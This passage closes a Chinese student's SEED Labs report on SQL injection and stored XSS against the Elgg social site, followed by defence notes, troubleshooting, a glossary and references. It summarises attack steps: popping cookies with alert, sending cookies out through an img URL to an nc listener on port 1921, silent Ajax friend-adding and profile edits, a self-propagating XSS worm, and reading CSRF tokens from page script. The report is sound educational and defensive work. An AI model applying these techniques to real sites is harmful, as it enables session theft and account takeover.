图85:进入管理后台 Plugins

  在插件列表里找到 HTMLawed。做实验时它是被停用的状态(按钮显示为 "Activate",旁边写着 "Provides security filtering. Running a site with this plugin disabled is extremely insecure. DO NOT DISABLE." 这正是它被关掉后我们才能注入脚本的原因)(图86)。点 Activate 把它启用——启用后按钮变成 "Deactivate",过滤生效(图87)。

图86
图86:HTMLawed 处于停用状态(Activate)
图87
图87:启用 HTMLawed,安全过滤生效

  HTMLawed 启用后,再往资料里写 <script>…</script> 会被过滤器清除或转义成纯文本,访问主页不会再触发任何脚本——前面六个任务的攻击全部失效,存储型 XSS 被防住。

  XSS 部分小结:

任务 注入位置 / 操作 效果
弹窗警告 Brief description:alert("20253909") 访问者弹出对话框
弹窗 Cookie alert(document.cookie) 弹出会话 Cookie
窃取 Cookie 动态 img 外带 + nc -l 1921 -v Cookie 被发到攻击者机器
自动加好友 About me:Ajax GET /friends/add 受害者无感知加好友
篡改资料 About me:Ajax POST /profile/edit 受害者资料被改写
XSS 蠕虫 About me:自复制脚本(id=worm) 攻击在用户间自动传播
防御 启用 HTMLawed 过滤插件 危险标签被清洗,攻击失效

三、学习中遇到的问题及解决

  问题 1:改完主机名后,每次 sudo 都报 sudo: unable to resolve host 3909ljt
原因是只改了 /etc/hostname、没同步 /etc/hosts。sudo 在执行前会反查本机主机名对应的 IP,而 /etc/hosts127.0.1.1 那行还写着旧名 VM,查不到 3909ljt,于是报错(功能不受影响,但每次都卡一下、很烦)。解决:编辑 /etc/hosts,把 127.0.1.1 后面的主机名也改成 3909ljt,与 /etc/hostname 保持一致即可。

  问题 2:把 <script> 粘进 Elgg 的 "About me",保存后却原样显示成文字,脚本不执行。
因为 About me 是富文本编辑器(可视化模式),会把尖括号转义成 &lt; &gt; 当普通文本存。解决:先点编辑框右上角的 Edit HTML 切到 HTML 源码模式,再粘脚本,这样才会被当成真正的 HTML 存进去。短脚本也可以放在本身就是纯文本的 "Brief description" 框里。

  问题 3:加好友/改资料脚本里参数用 & 连接,但编辑器里有时显示成 &amp;,担心请求拼错。
Elgg 的 HTML 编辑器会把 & 实体化显示为 &amp;。要确认实际发出的请求里是 &,最稳妥的办法是用开发者工具(F12)的 Network 面板抓包核对——本次实测加好友请求确实是 friend=45&__elgg_ts=…&__elgg_token=…,参数分隔是正常的 &,攻击生效。

  问题 4:脚本里的 friend / aliceGuid 该填多少?
friend= 后面是要操作的目标用户的 guid,aliceGuid 是攻击者(Alice)自己的 guid,用来在篡改/蠕虫脚本里做 if 判断、避免把攻击者本人也"误伤"。这些 guid 不能凭空猜,要在开发者工具抓到的请求里看 friend=NN,或者从个人主页 URL / 页面源码里确认。本机实测 Alice 的 guid 是 45。

  问题 5:cookie 窃取脚本写好了,nc 却收不到。
两个坑:一是 nc 监听的端口要和脚本里 <img> URL 的端口完全一致(都用 1921);二是顺序——要在终端 nc -l 1921 -v 把监听开起来,去浏览器触发脚本,否则请求发出来时没人接。

  问题 6:把源码文件改名加学号后,登录/保存页面 404。
因为表单的 action 还指向旧文件名。解决:改名的同时用 sedindex.htmlunsafe_edit_frontend.php 里引用旧文件名的 action 一并替换成新名(带 3909 前缀),引用和文件名对上就正常了。

  问题 7:编辑器快捷键。 nano 用 Ctrl+O 写盘、Ctrl+X 退出;vim 用 ESC 回到命令模式后输入 :wq 保存退出(只看不改用 :q! 强制退出)。

  问题 8:开机弹 "VBoxClient: the VirtualBox kernel service is not running"。 这是 SEED 镜像里残留的 VirtualBox 增强工具在 VMware 下报的,与本次实验无关,忽略即可(装上 VMware Tools 后体验更好)。


四、扩展讨论:注入与 XSS 的本质,以及防御的统一思路

  把 SQL 注入和 XSS 放在一次作业里做,最大的收获是看清了它们其实是同一个毛病的两种表现数据被当成了代码来执行。 SQL 注入是"用户输入"被数据库当成 SQL 语句执行(admin'# 改写了查询逻辑);XSS 是"用户输入"被浏览器当成 HTML/JavaScript 执行(<script> 在别人页面里跑了起来)。根子都在于程序信任了本不该信任的输入,并且没把"数据"和"代码"的边界划清楚。

  防御也因此有统一的思路:不要试图在"输入"端枚举所有坏东西(黑名单注定漏),而要在"使用/输出"端,从机制上保证数据永远只是数据。

  对 SQL 注入,最有效的就是本次任务四用的预编译语句 + 参数绑定:SQL 模板先编译定型,用户输入只能填进 ? 占位符当数据,无论里面有多少单引号、#; 都不会改变语句结构。它比"转义特殊字符"更彻底,也比"过滤关键字"更可靠。

  对 XSS,对应的根本手段是输出编码(HTML 实体编码)+ 上下文相关转义:把要回显的用户内容里的 < > " & 转成实体,浏览器就只会把它当文字显示、不会当标签执行;对必须允许富文本的场景(如本次的 Elgg 资料),则用白名单过滤库(任务七的 HTMLawed 正是这种)。此外还有几道纵深防线:用 CSP(内容安全策略) 限制页面能执行哪些脚本来源;给会话 Cookie 加 HttpOnly 属性,让 JS 读不到 document.cookie——这一条能直接削弱任务三的 Cookie 窃取。

  还有一点特别值得记:CSRF 令牌防不住 XSS。 Elgg 的 __elgg_ts / __elgg_token 本来是用来防跨站请求伪造的,但任务四、五、六之所以照样能加好友、改资料,是因为存储型 XSS 让攻击脚本运行在受害者自己的、同源的页面上下文里——脚本能直接通过 elgg.security.token 读到这两个令牌,CSRF 防护形同虚设。这说明防护是有"前置依赖"的:只有先把 XSS 防住,CSRF 令牌才真正有意义。

  最后回到任务三的 UPDATE 注入:一个本该只能改昵称的普通员工,居然能改自己的薪水。这除了是注入问题,也是权限设计问题——后端应当做字段级的最小权限控制(普通员工无权写 salary),而不是只靠前端界面"不显示"那个字段。安全要做在服务端,前端的隐藏只是体验、不是防线。


五、实践总结

  这次实践把一条完整的 Web 攻防链路走通了:从摸清数据库结构,到不用密码登进系统(SELECT 注入)、改写敏感数据(UPDATE 注入),再到 XSS 的弹窗、偷 Cookie、无感知加好友/改资料,最后写出一只会自我复制传播的 XSS 蠕虫,并分别用预编译语句和 HTMLawed 把两类洞补上。

  印象最深的是XSS 蠕虫。在此之前我对 XSS 的认知停留在"弹个窗",觉得危害有限;可当那几行 JavaScript 加上"读取自身、写进别人资料"的自我复制逻辑后,破坏力一下子从"骚扰一个人"变成了"在用户网络里指数级扩散"——这才真切体会到当年 Samy worm 为什么能在一天内传遍上百万账号。攻击的威力,往往不在单个技巧多高级,而在于自动化和可传播性

  另一个体会是关于防御的哲学。一开始我以为防御就是"见招拆招",把每种攻击姿势都过滤掉;做完才明白,靠黑名单去堵永远堵不完,真正可靠的是从设计上消除"数据变成代码"的可能——SQL 用参数化、HTML 用编码/白名单、Cookie 用 HttpOnly、再叠加 CSP 和最小权限。这是一种"机制上正确"而非"经验上补漏"的思路。

  同时,用攻击者的视角去理解防御是非常高效的学习方式。亲手把 Samy 的薪水改成自己的学号、亲眼看着 nc 收到外带的 Cookie,比单纯背"要做参数化、要做输出编码"印象深刻得多——因为我清楚地知道,不这么做的话,攻击具体是怎么打进来的。


附录:本文术语速查表

术语 一句话解释
SQL 注入(SQLi) 把恶意片段拼进 SQL,让数据库执行计划外的逻辑
预编译语句 / 参数化查询 先编译带 ? 的 SQL 模板,用户输入只当数据填入,从根上防注入
bind_param("ss", …) mysqli 绑定参数,s 表示 string,个数与 ? 一一对应
MySQL 注释符 # 注释掉本行后续内容,注入里用它"砍掉"密码校验等
存储型 XSS 恶意脚本被存进服务器,他人访问页面时在其浏览器中执行
反射型 / DOM 型 XSS 脚本来自当前请求参数 / 由前端 JS 写入 DOM 触发
Elgg 本次 XSS 靶场所用的开源社交网站程序
Cookie 浏览器保存的会话凭证;document.cookie 可被 JS 读取
HttpOnly Cookie 属性,置位后 JS 无法读取该 Cookie,可缓解 Cookie 窃取
同源策略 浏览器限制跨源读取的安全机制;XSS 在同源内运行故能绕过
CSRF 跨站请求伪造:借受害者已登录的身份发出非自愿的请求
__elgg_ts / __elgg_token Elgg 的防 CSRF 时间戳与令牌;XSS 场景下可被脚本直接读到
XMLHttpRequest / Ajax JS 在后台发 HTTP 请求的接口,攻击脚本用它静默提交表单
CSP 内容安全策略,限制页面可加载/执行的脚本来源
HTMLawed Elgg 的 HTML 白名单过滤插件,启用后清洗危险标签
XSS 蠕虫 能把自身复制到受害者内容里、从而自动传播的 XSS
escape / encodeURIComponent JS 的 URL 编码函数,把 Cookie / 脚本编码后放进 URL 或表单

参考资料

  1. 诸葛建伟. 《网络攻防技术与实践》. 电子工业出版社.
  2. SEED Labs — SQL Injection Attack Lab(Wenliang Du, Syracuse University). https://seedsecuritylabs.org/
  3. SEED Labs — Cross-Site Scripting (XSS) Attack Lab(Elgg). https://seedsecuritylabs.org/
  4. OWASP — SQL Injection 与 SQL Injection Prevention Cheat Sheet. https://owasp.org/
  5. OWASP — Cross Site Scripting (XSS) 与 XSS Prevention Cheat Sheet. https://owasp.org/
  6. PHP 官方文档 — mysqli 预编译语句(prepared statements)与 bind_param. https://www.php.net/
  7. Elgg 文档与 HTMLawed 插件说明;MySQL 官方文档(注释语法、字符串处理).
http://www.zskr.cn/news/1449236.html

相关文章:

  • BugTraceAI-Apex-G4-26B-Q4 API集成教程:如何将安全AI推理能力嵌入现有安全工具链
  • 如何永久保存微信聊天记录?WeChatMsg终极指南帮你轻松搞定!
  • 1688诚信通阿里巴巴开户代运营完全指南:2026年如何选择靠谱服务商 - 猫头鹰AI推广
  • Granite-3.0-3B-A800M-Base多语言能力测试:12种语言生成效果对比
  • LitCAD:用C打造的免费开源CAD绘图软件,让你轻松实现专业级二维设计
  • 暗黑破坏神2存档编辑器完全指南:可视化修改你的D2/D2R游戏存档
  • 2026阁楼货架厂家优选指南:空间翻倍方案与实力派品牌排行 - 深度智识库
  • PoeCharm完整中文版:5分钟掌握流放之路Build计算神器
  • 2026 年 6 月英语四六级模拟考试实测:告别盲目刷题,精准提分指南 - 讲清楚了
  • 2026年大型仓储货架品牌排行榜:工业级选型攻略与实力厂家盘点 - 深度智识库
  • Boss Show Time:终极Chrome扩展指南,快速提升求职效率的免费神器
  • 跨平台资源下载终极指南:5分钟掌握res-downloader智能代理工具
  • 如何高效诊断Claude-Mem故障:5个关键步骤的系统化指南
  • 如何快速导出微信聊天记录:WeChatMsg完全免费开源工具终极指南
  • 基于树莓派与ESP8266的智能花卉识别系统:边缘计算与物联网实践
  • EhViewer开源漫画浏览应用完整指南:从入门到精通的实用教程
  • 如何在5分钟内掌握Mermaid在线图表编辑器:面向初学者的终极指南
  • 避坑指南:在Ubuntu 22.04服务器上搞定Vision Mamba环境(含CUDA 11.8和PyTorch 2.1.0配置)
  • 低能量分辨率γ能谱数据解析方法解析【附数据】
  • AI反制实战:四款工具构建个人防骚扰体系,反向消耗诈骗资源
  • MySQL连接池原理与简易网站数据流动是如何进行的
  • VoiceFixer:终极语音修复神器,一键解决音频质量问题
  • 用PICAXE-08M改造电子积木:打造可编程嵌入式学习平台
  • 无变压器电源设计:从电容限流原理到5V/50mA IoT设备供电实战
  • 如何构建企业级实时图表编辑器:从代码到可视化的毫秒级响应架构
  • Unlock-Music终极指南:如何快速解锁加密音乐文件,实现跨平台播放自由
  • 如何永久守护你的数字记忆?WeChatMsg本地备份工具终极指南
  • 代理现货TPS2514DBVR是德州仪器(TI)推出的USB专用充电端口控制器
  • 3步解锁网易云音乐加密文件:ncmppGui极速解密工具完全指南
  • 抖音无水印下载终极指南:5分钟快速掌握免费批量下载技巧